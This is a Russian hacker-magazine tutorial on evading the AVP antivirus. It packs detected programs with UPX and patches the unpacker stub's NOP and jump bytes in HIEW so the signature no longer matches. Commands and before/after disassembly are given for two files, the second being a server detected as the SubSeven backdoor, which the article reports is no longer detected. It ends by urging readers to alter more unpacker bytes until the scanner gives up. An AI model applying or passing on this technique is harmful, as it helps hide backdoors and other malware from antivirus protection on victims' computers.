Продолжая цикл статей о "надувке" AVP
изменёнными запакованными файлами, я хотел
бы поблагодарить Dr.Golova, товарища Gray<JacK>Flint’a
за предоставленный кусочек идеи и, в какой-то
степени, моего преподАвателя по "банковскому
делу". Вполне возможно, что я не "открою
Америку" (а зачем 😉 ?) для "наших
руководящих товарищей", не обессудьте.

В данной статье НЕ рассказывается о
манипуляциях с EP (aka точка входа). Да оно и не
нужно! Сразу предупреждаю: в данной статье
говориться ТОЛЬКО про антивирус AVP! За
обнаружение вируса или трояна ДРУГИМ
антивирусом я ответственности НЕ НЕСУ 😉 .
Например, есть, по крайней мере, один "страж
порядка", который обнаруживает мои
хЫтроЩЩи 🙁 Естественно, тут рекламировать
его я НЕ собираюсь.

Итак! Что понадобится? Отвечаю:

1-st: голова на плечах aka "соображалка"
2-nd: HIEW 6.55
3-d : UPX 1.20 (они "уехали" с upx.tsx.org -> ищите
на http://wildsau.idv.uni-linz.ac.at/mfx/upx.html)
4-th: ТО, на чем мона запустить пункты 2 и 3 😉

ПРИМЕР 1

haktek v1.1 — ну чего-то там "в одном FLAKоне":
мэйлбомбер, сканнер… СТАРЬЁ! Почему-то "сидит"
в AVP’шной базе как злостный вирус! (но пока
что мой комп ещё жив).

1-е — запаковка UPX:

upx.exe -9 haktek.ex_

опция "-9" означает, что сжатие будет
МАКСИМАЛЬНО ВОЗМОЖНЫМ.

2-е — "хьювирование":

hiew32.exe haktek.ex_

жмем F4 => DECODE

F8 => F5 (смотрим "сводку" об X-ze и "прыгаем"
на Entry Point)

Видим что то типа этого:

.004ABBC0: 60 pushad
.004ABBC1: BE15904700 mov esi,000479015 ;" GР"
.004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB]
.004ABBCC: 57 push edi
.004ABBCD: 83CDFF or ebp,-001 ;""
.004ABBD0: EB10 jmps .0004ABBE2 ——— (1)
.004ABBD2: 90 nop
.004ABBD3: 90 nop
.004ABBD4: 90 nop
.004ABBD5: 90 nop
.004ABBD6: 90 nop
.004ABBD7: 90 nop
.004ABBD8: 8A06 mov al,[esi]
.004ABBDA: 46 inc esi
.004ABBDB: 8807 mov [edi],al
.004ABBDD: 47 inc edi
.004ABBDE: 01DB add ebx,ebx
.004ABBE0: 7507 jne .0004ABBE9 ——— (2)
.004ABBE2: 8B1E mov ebx,[esi]

Итак — это начало распаковщика. По его "внешнему
виду" AVP и определяет ТИП. Вот то, что
находится с 004ABBD0 по 004ABBD7, нас и интересует!
Как известно, nop ничего не делает (no operation), но
для чего оно тут нужно?  Ответ:
компилятором или самим пакером
резервируется место под код.

Предлагаю изменить команды так (это,
конечно, ПОЛНОЕ издевательство над
оптимизацией, извращение, но зато полностью
заняло свободные байты):

.004ABBD0: 6A00 push 000 ;-> толкаем в стек 0
.004ABBD2: 58 pop eax ;-> помещаем 0 в eax
.004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax
на ecx и наоборот
.004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1
??? 😉
.004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем"

Для тех, кто не понял: мы "размазали" 2-х
байтную команду jmp на 8 (!) байт.

Вот, в принципе, и всё! НЕ забудьте нажать F9
для сохранения результатов.

Включаем AVP (можно даже с режимом изб.
сканирования) и видим, что haktek.exe В ПОРЯДКЕ!

ПРИМЕР 2

1 — е:

upx.exe -9 server.ex_

2 — е:

hiew32.exe server.ex_

F4 => DECODE; F8 => F5; Видим:

.0042B74A: EB0E jmps .00042B75A
.0042B74C: 90 nop
.0042B74D: 90 nop
.0042B74E: 90 nop
.0042B74F: 90 nop
.0042B750: 8A06 mov al,[esi]

Нда-с, на сей раз нам дано чуть меньше "нопов"
для развлекалочки. Ну ничего, jmp можно "размазать"
и так:

.0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0
.0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1? 
.0042B74E: 740A je .00042B75A ;-> ну если равен —
переходим.

Опять сохраняем…

3-е — тест:
Ну на этот раз Backdoor.SubSeven.22.b1 НЕ ОБНАРУЖЕН.

ВСЁ!!!

Последнее напутствие: в этой статье
рассказано только об одной "оптимизации"
анпакера, мною обнаруженной, но, наверняка,
вы найдёте и другие. Например, пустые циклы,
"размазки" компилятора… Ведь главное
изменить как можно большее количество байт
анпакера, чтобы AVP "бросил" его
проверку. Поэтому экспериментируйте,
фантазируйте, ищите другие пакеры…

Оставить мнение

Check Also

Специалисты IOActive показали, что взлом современных роботов может быть опасно легким

Эксперты компании IOActive рассказали, как взламывать промышленных и «домашних» роботов с …